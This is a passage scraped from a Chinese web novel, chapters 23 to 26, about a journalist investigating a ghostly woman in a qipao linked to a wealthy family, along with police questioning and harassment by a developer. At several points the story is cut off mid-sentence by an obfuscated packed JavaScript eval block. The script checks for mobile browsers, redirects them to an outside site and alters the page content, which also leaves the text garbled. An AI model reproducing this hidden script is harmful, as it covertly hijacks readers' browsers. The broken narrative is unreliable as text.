“你瞧瞧你的冰箱,有几个像样的新鲜食材。妈妈今天要是没过来,你中午不是点外卖,就是随便凑合着煮碗面条,煎个鸡蛋,放点青菜,最多再加点午餐肉。你就说我说的对不对?” “……”颜珺瑶鼓了鼓腮帮子,其实中午要是不出去的话,她是打算把冰箱里剩下的饺子全煮了的,这可比煮面更方便。 不过她不敢说,只能笑嘻嘻地应付过去,“妈,您真的不用担心我,我饿不到的,这不,中午我就有饭局呢!” 钱艺文“嗯?”了一声,好奇道:“什么饭局?同事聚餐?还是又有同学会?” “都不是,”颜珺瑶摇头,“一个——朋友,吃个饭,说点事情。” “那妈妈做的这些,你也要吃点,早上这么晚才起,” “你这个工作平日里风里雨里的就算了,连休息日都不能好好放松,随时都可能有任务,出去吃个饭都得谈论工作。” “……”倒不是谈论工作。 颜珺瑶眨了眨眼,没敢详细说。 钱艺文叹了口气,清了清嗓子,再次试探道:“你像妈妈这样当个老师不是挺好的,还有寒暑假,你真的不考虑吗?” “……”终究还是说到让她换工作的话题上来了。 “妈——”颜珺瑶学着钱艺文的样子,装模作样地清了清嗓子,“当老师竞争也不小,现在很多都是研究生,而且好像是优先考虑师范生。我只有本科学历,虽然有教师资格证,但不是师范生,毫无优势,考上的概率不大的。” 钱艺文啧了一声,叹了口气,不得不承认,闺女说的都是实话。 “瑶瑶,你要不要去试一试,如果你笔试成绩能进前三的话,之后爸爸妈妈帮忙想想办法,要是实在不行,就找你外公外婆,他们俩认识——” “妈——”颜珺瑶打断了钱艺文的话,玩笑道:“要是我当了老师,之后在这个工作岗位上不小心犯了什么错,被人网络扒皮,到时候被捅出来是靠关系当的老师,那可就连累了外公外婆。” “哪有那么严重,你太夸张了——” 颜珺瑶佯装严肃道:“钱女士,你是低估了网络的可怕,有些人,有些媒体是瓜精投胎的,对这些事情最感兴趣了,一点点小事都有可能给你炒成网络热门事件。当然了,这些都是假设,不一定会发生,但是——” 她放下筷子,坐直了身子,双手往桌面上那么一搭,双目炯炯地看向钱艺文,声情并茂道:“最重要的是,我热爱新闻,离不开新闻,所以现在不想换工作。” 喝完最后一口汤,颜珺瑶放下碗,“其实当记者挺好的,很长见识,有时候还能第一时间吃瓜,挺有意思的,您就不用再劝我了——” 钱艺文沉默了,不再说什么,只是拿起她手边的空碗又给她添了一碗汤,盯着她要喝完。 “……” 颜珺瑶已经有点吃饱了,实在喝不下了,幸好,手机铃声及时解救了她。 是许修远。 她和他约的是十二点,这才不到十一点呢,他不会这么早就到了吧? 接起电话,令她没想到的是,许修远居然问她是不是在家里,他正好顺路会经过她住的盛安小区。 上次咖啡馆见面之后,许修远提出送她回家,她跟许修远说的就是出租房的地址,就是盛安小区。 颜珺瑶有些不好意思,但想了想中午的时间段不好打车,于是便也没客气。 “嗯,在家里,那麻烦你了。” 电话那头的许修远淡淡地笑了笑,“顺路。” 颜珺瑶放下手机,擦了擦嘴,对钱艺文说道:“妈,我马上要出去了,这些留着我明天再吃。” 钱艺文突然间就忘了那一碗还没喝的猪肚汤,笑呵呵地问道:“你朋友特意过来接你去吃饭?” “额——算是吧!” “哎呦,这孩子不错,还特意来接你。”钱艺文刚才隐约听到了手机里的说话声,听着像是男生,“他多大了?” “……”手机不够高档,漏音呀! 颜珺瑶听出了妈妈的八卦之心,立刻就站起来,要动手收拾餐桌。 “妈,就是刚认识的朋友,你别多想了。” “哎呀,你别碰了,”钱艺文拍掉她的手,“妈妈来弄,赶紧收拾去,别迟到了。” 颜珺瑶笑嘻嘻地,边往卧室走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”这满意的,不知道的估计会以为她在看准女婿呢! 颜珺瑶尴尬不已,抓了抓脸,压着嗓子催道:“妈,你赶紧先去打车吧!” “放心吧,妈妈有分寸的。” 钱艺文笑呵呵地拍了拍颜珺瑶的手,没再往前,转身去了对面,刚好有一辆的士经过,她招了招手,很快坐上了车子。 颜珺瑶呼出一口气,硬着头皮走到了许修远车前,笑容有几分不自然。 许修远淡笑,笑着说道:“上车吧!” * 车子缓缓驶出,许修远打破了车里的沉默,率先开了口。 “刚才那位阿姨是颜小姐的妈妈?” “……嗯,她今天刚好过来看我。” 颜珺瑶有些担心,许修远会不会误会是她故意把人叫来,就为了看他这个“名人”的? 她用余光瞥了一眼正在开车的人,貌似神色正常,语气也没啥不对劲,应该没有吧? 许修远似乎就是随口一问,突然又换了话题。 “颜小姐最近身体怎么样?” “挺好的,其实我一直身体都挺不错的,就是最近突然——” 颜珺瑶及时止住了这个话头,要是再多说下去,似乎会让人觉得有点交浅言深。 她想了想,问道:“对了,你知道那种情况是怎么触发的吗?” 目前她只知道,时间是关键因素,一般都发生在凌晨十二点。原先以为和自己的那个房间有关,但现在已经排除了,其他的,她就无从得知了。 她侧过头,将视线落在许修远身上,就听他娓娓道来:“三个条件,一个是时间,凌晨十二点,一个是空间,我家老宅的一个房间,还有就是人,我和你两个。” 这——我和你,可不就是两个嘛? 颜珺瑶心里悄悄腹诽。 许修远继续说道:“只能是我和你,只要出现第三个人,画面就瞬间消失。” 24. 第 24 章 颜珺瑶不由地瞪大了眼睛,打了个冷战,针对性这么强的吗? 所以自己和他是被选中的两个倒霉蛋吗? 为什么这件事情会单单发生在她和许修远身上呢? 她琢磨了片刻,突然意识到什么,“你家的老宅,你以前是不是从没有在晚上进过这个房间?还是说,最近在这个房间里发生了什么事情,才导致这个房间变得特殊了?” 许修远瞥了一眼内视镜,挑了下眉。 挺有分析能力的。 “这个房间,自我有记忆以来,它一直就是锁着的。” 颜珺瑶一下子坐直了身体,所以是以前,就是在许修远还没有出生之前,甚至更久远之前,这个房间出过什么事情? 正想着,瞥了眼车窗外,火锅店到了。 * 停好车,进了店里,大概是许修远提前打过招呼,店长直接带着两人进了一个包间。门一关,里外两个世界,瞬间清静。 许修远倒了一杯橙汁放到女主面前,颜珺瑶端起来抿了一口,看着锅里沸腾的汤底,想了想,继续了刚才在车上的话题。 “许先生,既然那个房间是锁着的,你是怎么会突然想到要进去呢?” 许修远没有回答,取出一张照片递到她手里,“颜小姐,见过上面的这个女人吗?” 照片泛黄,十分有年代感。 颜珺瑶接过来一看,一下子哑了声,无法动弹。 这——这不就是自己梦到的那个女人吗?还有她身上的那件旗袍—— 她瞬间又想到周六在许家老宅,许忠林和那位宗叔在看到她的奇怪反应,难道是因为她的脸? 许修远看着颜珺瑶道:“看来颜小姐见过她,你梦到的就是她,是吗?” 颜珺瑶咽了咽口水,好一会儿才缓过来,点点头,“是她,我梦到的就是她,连旗袍都是一样的。” 抿了抿唇,有些忐忑地问道:“她是你太——是你家长辈吗? 许修远摇了摇头,“不是,她不是我太奶奶,我家里有太奶奶的照片,和她不是同一个人。我只能说她和我太爷爷有关系,但还不能确定到底是什么关系。” 太爷爷? 颜珺瑶再次看向照片,中间那个男人应该就是许修远的太爷爷了,也就是君平,因为他的右手搭在旗袍女人的肩膀上。 “中间那位就是我太爷爷,他左手边的是何老师傅的父亲。” 许修远适时地介绍,停顿片刻,抬眸和颜珺瑶对视了一眼,“颜小姐,你觉得你和她长得像吗?” 颜珺瑶凭空打了个寒颤,心里冒出了一个猜想,“她——她叫什么名字?” “实不相瞒,我并不知道,目前也没查到,所以想麻烦颜小姐帮忙。” “我?”颜珺瑶抬头看向对面的人,“你也觉得她可能是——” 说到这里,她顿住,怔怔地看着照片。 “对,我觉得她也许是你家的长辈,太姑奶奶或太姨奶奶等,都有可能。” 思忖良久,颜珺瑶突然说道:“不是,她应该不是。” 她的视线从手上的照片移到许修远的脸上,“我的长相更多的是随我爸爸,和我妈妈很不像。但我爸爸这边,除了一个早夭的太姑奶奶,从太爷爷那一辈开始,只有我一个女孩。 至于我爷爷的姨,我奶奶的姑姑和姨,我不太了解,但我知道的是她们好像都在乡下生活,除了我奶奶的一个堂姨,嫁去了南洋,晚年时还回来过一趟,应该都不会是照片上的女人。” * 许修远伸手去接颜珺瑶递还的照片,但却抽不动。 “颜小姐——” 颜珺瑶的视线胶着在照片中的女人身上,心头莫名地弥漫上说不定道不明的心疼。 “在那个房间,你看到我之前,先出现的就是她吗?” “对。” “我梦到了她,她也在你面前出现,所以,那个诡异的情况是她‘安排’的?” 颜珺瑶喃喃自语,顿了顿,抬眸看着许修远,“我可以用手机把照片拍下来吗?我觉得我和她长得这么像,说不定真有什么关系。我去问问我爷爷奶奶,还有外公外婆,也许能有线索。” 许修远笑容温和,又拿了一张照片放在了颜珺瑶的手边,但是这张明显是新的。 “这张是我让人翻拍的。” 颜珺瑶将原照片递还,蓦地叹了口气,沉默了许久。 许修远端详了她片刻,忍不住问道:“颜小姐,你脸色有点不太好,你——还好吗?” 颜珺瑶端起橙汁喝了一大口,“不知道为什么,看到这张照片,我心里很难过,她一定是发生了什么非常悲惨的事。” 许修远点点头,他也这么觉得,否则她不会同时让颜珺瑶和自己都注意到她,进而开始调查她的事。 颜珺瑶盯着那张簇新的照片,眼神渐渐变得迷离,“她肯定很爱你太爷爷,我梦到她好几次,每次她都穿着这件旗袍,温柔缱绻地喊着君平。” “颜小姐——颜小姐?” “嗯?”颜珺瑶倏地回神,愣了一下,不好意思地笑了笑,“你说什么?” 许修远眉头微动,笑着说道:“上次你去何老师傅那里,也是去定做旗袍?” 颜珺瑶有一瞬的茫然,“我——我好像是去做旗袍,可我——好像原本没打算做,不知道为什么就去了——” 说着用力拍了拍脑袋,有些记不清楚了。 “嗯?”她突然意识到许修远说了一个“也”字,“你也是去做旗袍的?” “算是。”许修远直言不讳,“每次在凌晨看到你之前,这个女人都会穿着这身旗袍出现在我面前,喊一声君平才消失。所以我通过旗袍这个线索才找到何老师傅店里,拿到了这张照片。 可惜的是,何老师傅的父亲四十多岁才有的何老师傅,所以何老师傅对当年的事情几乎不了解,只知道大家称呼这个女人为二太太。” 二太太。 颜珺瑶微微敛眸,想起了一件事,有些欲言又止。 “颜小姐想说什么?” 颜珺瑶将杯子里剩下的橙汁喝光,轻咳一声,才道:“我上周六跟着我师傅去了你们家的老宅,许老先生和那位宗叔——他们看到我时,发应都有些奇怪。所以我觉得——你爷爷可能见过这个女人,至少是知道她,见过她的照片,也肯定了解当年的事情。而且这个女人极可能就是在那个房间出的事,否则她不会把你引到那里去的。” 说完之后,她突然意识到一点,许忠林必然是不愿意把许家的陈年旧事告诉许修远,家里其他人也都不了解,所以许修远才会舍近求远,找上她来帮忙查找。 * 确实如她所想。 许修远轻声笑了笑,神色有几分无奈,“那个房间是不被允许好奇的。” “……” 好吧,这就几乎可以断定了,旗袍人女人就是在那个房间出的事,而且必然和许家有关。 因为害怕,所以才会忌讳,越害怕,越是讳莫如深。 旗袍女人找上她和许修远,估计就是为了帮她查清楚当年的事情。只是—— 她找上许修远,貌似说得过去,但是自己和许家没有任何关系,为什么也会被找上呢?难道就因为自己的脸? 看来只有查清楚当年许家发生的事情,自己和许修远的那个诡异情况才有可能不再发生,也不会再被旗袍女人纠缠。 不过—— 嘿,她现在不害怕了,因为她有了护身符,不会再撞见什么鬼魂,也不会发生那些奇奇怪怪的事情了。 但即使不害怕了,但她还是想把某些事情弄清楚,比如,关于那个小女孩。 旗袍女人找上许修远,那个小女孩也找上了许修远,确切地说是找上许家人。 那么,旗袍女人和小女孩之间,从年龄来看的话,有没有可能是——母女呢? 颜珺瑶不禁问许修远:“那个小女孩,你——知道她是谁吗?” “不知道,”许修远微微敛了下眸,“不过我猜她和旗袍女人有可能是母女。” 如果真是如此的话—— 颜珺瑶呼吸一滞,如果真是如此的话,那旗袍女人和小女孩很可能就是一起在报复许家? 先是许耀中车祸身亡,上次小女孩也想害许修远出车祸,那么旗袍女人接下来就也有可能对许修远下手。 她把自己的想法告诉了许修远,并提醒道:“以后还是不要再进那个房间,小心为上。” 许修远笑起来,“谢谢颜小姐!” * 下午一点半左右,许修远开车送颜珺瑶回盛安小区。 车窗外,阳光炽烈,只觉得让人睁不开眼,夏至快到了。 颜珺瑶伸手进包里拿手机,却一下子摸到了昨天刚得到的那个精美荷包。 想了想,她对许修远说道:“许先生,你——要不要去求个平安符戴在身上?” 只要想起上次坐许修远车时所发生的事情,她就不寒而栗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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颜珺瑶磨了磨牙,缓了缓,仍旧礼貌地回道:“史先生,我今晚有约了,您要是愿意的话,可以用短信发语音或编辑文字短信告诉我,或者我让我同事跟您联系,您觉得呢?” 那头的史大军似乎是听出她在婉拒,轻哼了一声,“这个新闻绝对会成为热点,你想把这么好的机会让给别人吗?” “哦,那我应该是没这个运气,我现在就给我的同事打——” “颜珺瑶——”史大军没听她说完,就打断了她的话,“多好的名字,给你取名字的是个厉害人物,这个珺字,可不是一般人可以压得住,但你就不一样了,你是天生富贵,旺夫旺子的好命。所以,呵呵,你怎么可能是个没福气的?” “……” 这个疑似神经病的家伙,到底在叨叨咕咕地说什么乱七八糟的? 还旺夫旺子?她现在想旺的是她自己。 史大军还在继续说着:“我学过面相学、命理学还有风水学,你可以相信我,就你这张脸,这个骨相,就不是一般——” 颜珺瑶没了耐心,也打断了他的话,“史先生,我这边有电话进来了,就先挂了。” “颜记者,上次的采访,我答应露脸了吗?” 挂电话的手一顿,颜珺瑶一时愣住了。 史大军转而又笑着道:“颜记者,我真的只是想跟你当面爆料个新闻,顺便再吃个饭而已,今天没空,那明天晚上呢?” “史大军先生,”颜珺瑶正色道,“我们当时拍摄的录像材料都还在,您当时是同意采访了,也没有要求不露脸,或是后期做马赛克处理等。” “呵,别激动,我开玩笑的,明天晚上有空吗?” “史先生再见。” 颜珺瑶不想再浪费时间,挂了电话。 但为了稳妥起见,还是给师傅编辑了条微信,把刚才的事情简单地告诉了师傅。要是史大军后面真的去投诉了,起码有个准备。 许修远偏头看了眼正低头打字的颜珺瑶,嗯,遇到问题挺冷静的,不冲动,不错。 “颜小姐,是不是遇到了麻烦事?” “嗯,算是吧,”颜珺瑶点了下头,“不过问题不大,可以处理。” 这个时间点路上还不算拥堵,等到颜珺瑶从手机上抬起头的时候,立马就望见了前方那个熟悉的路口。 刚拐进路口,手机再次响了。 还是史大军打来的,颜珺瑶直接挂断。 可手机第三次响起。 颜珺瑶狠狠皱眉,一瞥却发现不是史大军的号码,是H市的陌生号码。 她这才接了起来。 可令她更吃惊的事情发生了,这回电话那头居然是警察,而且还是外地的。 25. 第 25 章 颜珺瑶瞬间傻了,警察?H市的警察? 怎么会突然给她打电话? 她已经好久没去过H市了。 她的第一反应是不相信,这是个诈骗电话——吧? 直到对方说出了张熙杰的名字,表示想向她了解一下张熙杰,希望她能配合去一趟市公安局。 颜珺瑶差点直接从位置上站了起来,张熙杰出什么事了? 既然是让她去市公安局,那就不可能是诈骗,她立马表示自己现在就赶过去。 许修远的视线不着痕迹地落在颜珺瑶的脸上,“颜小姐,是不是——出什么事了?” “哦,警察找我,我去看看——”颜珺瑶伸手指了指前面的路口,而后对许修远说道:“许先生,麻烦在那儿停下车,我先不回去。” “是市公安局?我送你过去吧,正好顺路。” 颜珺瑶着急赶过去,也没有客气推拒。 车子迅速经过那个路口,继续往前驶去。 颜珺瑶给张熙杰打了个电话,电话接通了,她心头稍稍一松,一问得知,张熙杰现在就在警察局,不过也就只说了这么一句,张熙杰就挂了电话。 半个小时左右,到了目的地。 颜珺瑶道过谢,着急忙慌地解了安全带,转身要开车门的时候,还是又补了一句。 “麻烦许先生了,你慢点开车,注意安全。” 许修远若有所思地看了看她,突然说道:“如果需要什么帮助,可以联系我,也许我能帮上忙。” 颜珺瑶顿住了,眨了眨眼,“嗯”了一声,下了车。 许修远目送着她一路小跑进警察局,开车离开。 * 接待颜珺瑶的是一位姓顾的警察,也就是刚才给她打电话的人。 顾警官把颜珺瑶带进了一间办公室,言简意赅地说明了情况之后,颜珺瑶终于清楚了自己为被叫过来缘由。 H市一个案子和张熙杰可能有点关系,所以警方例行排查张熙杰在五月二十二号前后的行踪。 五月二十二号? 颜珺瑶思考了好一会儿,才想起来,对顾警官说道:“五月二十二号当天,他本来是想约我去爬山的,但我想去普陀寺求签,所以他就陪我去了。” “你们是一整天都在一起的吗?” 颜珺瑶垂眸想了想,回忆着当天的事情:“他是早上八点多开车接的我,在寺里待到了快一点,下山的时候又碰到一个算命先生耽误了点时间,之后他就送我回家了。” “你到家的时候大概是几点?” “大概是两点多吧,具体我记不清了,回家之后没多久,他又开车过来找我,我那天在寺里求了平安符,落在了车上,他给我送了过来。” 顾警官紧接着又问:“之后呢?他和你联系过吗?” 颜珺瑶实在想不起来,“我能看看手机吗?时间有点久了。” “当然可以。” 颜珺瑶翻了翻通话记录,还有微信对话框,之后张熙杰联系过她。 她有些兴奋,笑着把手机递给顾警官看,“五点多他给我发微信了,没多久他又开车过来接我去吃火锅。” 手机里的微信聊天记录做不了假,顾警官自然相信颜珺瑶的话,又问道:“你知道五月二十二号的前后,他有离开过本市吗?” 颜珺瑶再次查看手机,摇了摇头,又把手机展示给顾警官看。 “这是五月份我的工作记录表,我和他经常一起出采访,五月下旬他只休息了二十二号一天,我和他基本上每天都见面。” 了解地差不多了,顾警官谢过颜珺瑶,并送她到门口。 颜珺瑶忍不住问顾警官,张熙杰是不是还在里面。顾警官没有否认,只说还需要了解一些情况,不过应该快了。 颜珺瑶了然,就在顾警官准备转身去忙的时候,她忍不住叫住他。 “顾警官,我朋友他——他不会做违法乱纪的事情。” 顾警官大概习惯了这些废话一般的话,只是笑着点了点头,“我们会尽力查清楚的,不会冤枉任何一个人的。” * 颜珺瑶没有立即离开,而是在大厅等着,想给张熙杰再打电个话又觉得不妥。 终于在她的碎碎念声中,张熙杰很快就出来了。 和平时的笑容满面不一样,眼下的他冷着一张脸,脸色有些阴沉。 无故被怀疑,换做任何一个人都不会高兴地起来。 颜珺瑶马上小跑着到他面前,“熙杰!” 张熙杰这才注意到她,一怔,勉强挤出一个笑容,“珺瑶,你怎么——” 说到这里,他意识到什么,狠狠皱了皱眉,“你也被叫过来了?” 颜珺瑶忙安抚道,“我没事,顾警官就简单地问了几个问题,我没事的。” “嗯——”张熙杰叹息一声,有些过意不去,“对不起,他们问我五月二十二那天都干嘛了,我就说了我们去普陀寺的事,之后他们就问我要了你的电话号码。我以为他们只是打电话问一下,没想到也把你叫过来了。” 颜珺瑶拉了一下张熙杰的胳膊,笑着说道:“我没事的,你吃饭了吗?” 张熙杰摇头,“我不饿,走吧,我送你回去。” 上了车,颜珺瑶还是不放心,看了好几次张熙杰。 他比平时沉默多了,好一会儿,就听他长叹一口气,说道:“今天是第二次了。” 嗯?颜珺瑶不解,第二次? “当年霸凌我姐的那两个女的,大概是坏事做多了,遭了报应。前两年,差不多也是五月份,那个叫庞依娜的突然死了,好像是被活活吓死的。当时警方就找过我们家,调查了我们家人的不在场证明,没想到剩下那个叫马茜茜的居然今年也被吓死了,我又被怀疑了,接下来应该会去找我爸妈和我爷爷。” “呵——”他蓦地冷笑一声,“不过我也可以理解,如果说两年前那个只是意外的话,那连续两个都是被吓死的,确实挺奇怪的,警察会调查到我们家也很正常。” 颜珺瑶眼眸微敛,连续两个都是活活被吓死的,确实太凑巧了。 不过,自从经历了前段时间的那些事情之后,她觉得自己的承受能力在不知不觉中变强了。 凡事总有可能,毕竟,连鬼都是存在的—— 想到这里,她突然愣了下,这两人的死有没有可能是—— 她赶紧甩掉脑子里的猜测,不可能的,汤爷爷当年给瑜欣姐做过法事,瑜欣姐肯定早就往生了,不会再弥留人世了。 “警察肯定会查清楚的。” 张熙杰露出苦笑,“说实话,当年我姐出事,我看到她的日记本时,恨不得杀了那两个女的,霸凌陷害,真的难以想象我姐过得有多痛苦。” 说到这里,他的声音开始哽咽,他缓了缓,才又说道:“但事实上,我姐的死和她们俩没有直接关系,法律制裁不了她们。我再怎么恨,也拿她们没办法。” 颜珺瑶眼眶湿润,用力抿紧了唇。 * 开到半路,颜珺瑶突然让张熙杰靠边停下车。 张熙杰没有多问,依言停了车,就见她下车进了一家餐厅,不一会儿就拎着一个袋子出来了。 心头一动,原来是她惦记着自己没吃午饭的事,特意下车给他打包。 回到车上,颜珺瑶发现张熙杰的情绪似乎好了些,脸上带了点笑意。 她松了口气,拍了拍纸袋子,说道:“好了,走吧!” 到了小区楼下,张熙杰侧头看了颜珺瑶一眼,张了张嘴,话到嘴边了却又戛然而止。 颜珺瑶没注意到他的欲言又止,边解开安全带,边说道:“你最喜欢的咖喱饭,还热着,到单位先吃饱了再忙!” “……好——” * 一上班,颜珺瑶就跑去问了江成,得知史大军没有打电话投诉,便放了心。 看来上一次电话里就是故意吓唬她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜珺瑶一个头两个大,但又不敢回家里住。她担心史大军还会跟到那边去,万一被家里小区认识的人撞见并且传开,更不敢想他们中有认识史大军的,那她的后背会被不明真相的人给戳烂了。 幸亏张熙杰帮她解决了这个头疼事,每天早上特意早起,赶在史大军的车过来前就进了小区,接她去单位。 这种令人抓狂的情况持续了四天,第五天又有了意想不到的事情发生。 她被投诉了,投诉人是史大军的现任妻子。 颜珺瑶一肚子的脏话没处骂出去,先被领导给骂了,然后她就被迫休息了。 傍晚下了班,张熙杰开车带着她去了火锅店。 颜珺瑶闷闷不乐,连最喜欢的火锅都让她开心不起来。 开吃之后,她突然有了一个想法。 于是问张熙杰:“你说,我要是主动去找史大军老婆解释,她会相信我吗?” “不好说,不清楚他老婆是什么样的人。” 她转了转眼珠子,“我有那个神经病给我打电话的电话录音,就是防着万一出什么事的,结果——” 她龇了龇牙,“还真的出了事,真倒霉。” 张熙杰给她捞了个丸子放到她碗里,“有录音的话,那他老婆只要有点理智,应该都会相信你的。要不问问老江,说不定他能问到史大军老婆的联系方式。” “师傅这两天出差了,不知道有没有空。” 晚上回到住处,她给江成打了个电话,但没打通,便不再打了。 这么晚了还在忙,她不好意思再麻烦师傅挤时间帮她打听了。 扔下手机,脑子里又冒出来一个人。 颜珺瑶眼眸一亮,许修远应该也能帮忙问到。 纠结了一会儿,她给许修远发了条微信。 【许先生,实在不好意思,想麻烦你一件事。】 信息刚发出去,手机很快就响了起来。 是许修远。 26. 第 26 章 颜珺瑶愣了下,很快接了起来。 “许先生,打扰你了。” 电话那头的许修远轻声笑了笑,“没有,我还没睡。” 哦,那就好。 颜珺瑶不再客套耽误时间,清了清嗓子,直接问道:“许先生,你认识——史大军吗?” 史大军? 许修远微微眯眸,“盛世地产的史大军吗?” “对,对,就是他,”颜珺瑶有点小激动,“你有朋友认识——他老婆吗?” 许修远很快反应过来,“你是想和她联系?” “嗯嗯,我找她——有事。” “我问问,明天发给你。” “?”这话的意思是——他一定能问到?! 颜珺瑶扬起嘴角,“谢谢许先生!” 挂了电话,她舒出一口气,开始在脑子里琢磨着见到史大军老婆,该如何让她相信自己。 * 许修远的人脉果然不容小觑,说了“明天”发给她,次日中午就真的发给她了。 颜珺瑶看着微信上的信息,有姓名,还有号码。 不过要和对方见面,最早只能是明天了,因为今天一大早她就回了老家。 一来是换个心情,但最主要的还是为了那张照片。 可是爷爷奶奶在看过了照片之后,都摇头说不认识。 “这位太太一看就是城里的有钱人家,你太奶奶那一辈年轻的时候条件都不好,照片都没钱拍,更别提穿这么好的衣服了。” 颜珺瑶又询问了爷爷奶奶各自的姑姑和姨,除了奶奶的那一位堂姨之外,其他的都是在乡下成的家,而且基本上爷爷奶奶都见过,不是照片上的女人。 “那个年代,我们乡下人不常上城里的,除了去走亲戚,或是去卖点东西,”爷爷呵呵笑着,“你太奶奶年轻时就偶尔去城里卖菜,你大爷爷还跟着去过呢!” 奶奶眯了眯眼睛,把照片拿远了一些,笑着说道:“老头儿,你不觉得照片上的这位太太和我们家瑶很像吗?” 爷爷又凑过来仔细瞅了眼,还真是,也笑起来,“瑶瑶,你这照片哪来的呀!” 颜珺瑶只好含糊地说是朋友那里看到的,觉得很可能和咱们家有亲戚关系,所以就随口问问。 很快她就转移了话题,问起了隔壁汤爷爷的身体。 颜丙文扬了扬眉,“这几天他的精神头倒是比之前好些了,时不时出来走一走,就是前几天突然有几个陌生人来找他,还是村支书带过来的。后来才知道那几个人是警察,好像查什么案子,不过和老汤也没关系,很快就走了。” 回去之前,颜珺瑶又去看了汤明山,确实如爷爷所说,精神好了不少,她也稍稍放了心。 * 坐大巴回到市里的时候,天开始黑了。 一看手机,七点了。 颜珺瑶摸了摸肚子,有点饿了,拦了辆的士,回到了盛安小区。 出租车听到小区外面,刚从车上下来,就听到有人在喊她。 “颜小姐。” 陌生的女声。 颜珺瑶转头四处看了看,突然就顿住了,因为不远处的一辆白色轿车突然就打开了车大灯。 她下意识地眯了下眼,偏了头,有些反感,就在这时,一个穿着时尚,身姿曼妙的美艳女人从车上下来。 “颜小姐——” 美艳女人又叫了她一声,摇曳生姿地走到她面前,朝她伸出手,“你好,颜小姐!” “你是?”颜珺瑶的目光在她脸上逡巡一圈,没想起来自己曾经见过她。 可对方却又显得这么自来熟。 “我是孟可馨,是史大军的妻子,也是——投诉你的人。” “……” 颜珺瑶刚要伸出的手停在了半道,自己本来打算明天早上联系她见面,没想到对方倒是先找上门来了。 “孟女士,你——” 孟可馨一把抓住她的手,用力地握了一下,打断了她的话。 “好久没人叫我孟女士了,我最喜欢的就是别人这么称呼我。” 她的视线在颜珺瑶脸上打着转,“果然清纯漂亮,怪不得他肯这么花费心思。” 颜珺瑶的脸色一下子就变了,“孟女士,你误会了,我和——” “我知道,”孟可馨再次打断了她的话,“我知道我误会你了,所以我今天就是来向你道歉的,我不该投诉你。” “……” 一瞬间,颜珺瑶有点懵,这——这有点超出她的预料了。 “找个地方聊一聊,不知道是否方便?” * 半个小时之后,两人坐在了一家咖啡馆。 孟可馨听完了电话录音,把手机递还给颜珺瑶。 “说实话,要是在刚投诉你那会儿听到这个录音的话,我会怀疑这录音是不是假的,但看到你之后,我相信了,我觉得你看不上她。而且——” 颜珺瑶端起杯子喝了一口,没有回答,等着她的“而且”。 “而且,许总的朋友,不会是我误以为的那种女人。” “咳——”颜珺瑶差点呛到,孟可馨刚才说什么来着? 许总的朋友?! 她怎么知道自己和许修远认识的? 孟可馨端起杯子,轻轻碰了下颜珺瑶的,意味深长地说道:“你是个聪明女人。” 颜珺瑶眉心微动,抬眸看向她。 “你没发现他喜欢和你说什么面相,命理之类的话题吗?”孟可馨指了指她的手机,“刚才的录音。” “嗯。”颜珺瑶点头,这倒是,但史大军在她眼里就是个神棍,张口就来的胡说八道。 “其实他没说错,他确实懂。他以前拜了一个师父,是个非常厉害的老人,史大军给他养老送终,老人就把那些真本事都教给了他,虽然没有学了十成十,但足够他自己用了。” 自己用? 颜珺瑶微微皱眉,这话怎么听起来怪怪的。 “我没说错,他就是用在自己身上,所以他发达了。” “……”学会那些,还能逆天改命?真有这么厉害吗? 颜珺瑶有些怀疑。 “知道他为什么和前面一个老婆离婚吗?”孟可馨单手撑着下巴,伸出了两个手指,继续说道:“两个原因,他嫌弃她前妻不够漂亮,当然了,最重要的是他觉得他前妻的面相,还有生辰八字不好,不够旺夫。” 在见到孟可馨的那一刻,颜珺瑶还十分不解,孟可馨这么个大美人就在史大军身边,史大军居然还会喜欢上别人,现在她明白了,史大军原来是觉得她旺夫,所以才会有了所谓的“追求”。 “呵——”孟可馨轻笑出声,“他和我结婚也是差不多的原因,一是因为我漂亮,二是因为他觉得我旺夫。在你出现之前,他对我非常好,想要什么就给我买什么,也没有在外面拈花惹草。” “其实他在前一段婚姻里没有出过轨,当然了,这是他前妻告诉我的。现在我和他结婚才两年,他又有了换人的念头,想找个更旺夫的女人,他想都别想,这辈子他都别想。” 说到最后,孟可馨几乎有点咬牙切齿。 颜珺瑶知道孟可馨为什么跟她说这些,无非就是告诉她,如果她真的跟了史大军,早晚也会被史大军换掉。 孟可馨很快又恢复了一开始的云淡风轻,又和颜珺瑶碰了下杯子,“我知道颜小姐一定不会把今天我的话说出去的,对吗?” * 回到住处,时间不算晚,颜珺瑶给许修远发了条微信,再次谢了他。 她觉得孟可馨之所以会这么快相信她,许修远也在其中帮了忙,虽然不知道他是怎么做到了,但确实帮到了她。 手机刚放下没多久,就又响了。 是王主任打来的。 颜珺瑶撇了撇嘴,翻了个白眼,接了起来。 果然如她所想的那样,王胖子是让她明天回去上班的。 不仅如此,他还很委婉地跟她道歉,说是那天不该在还没清楚了解事情的原委时,就因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973132|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 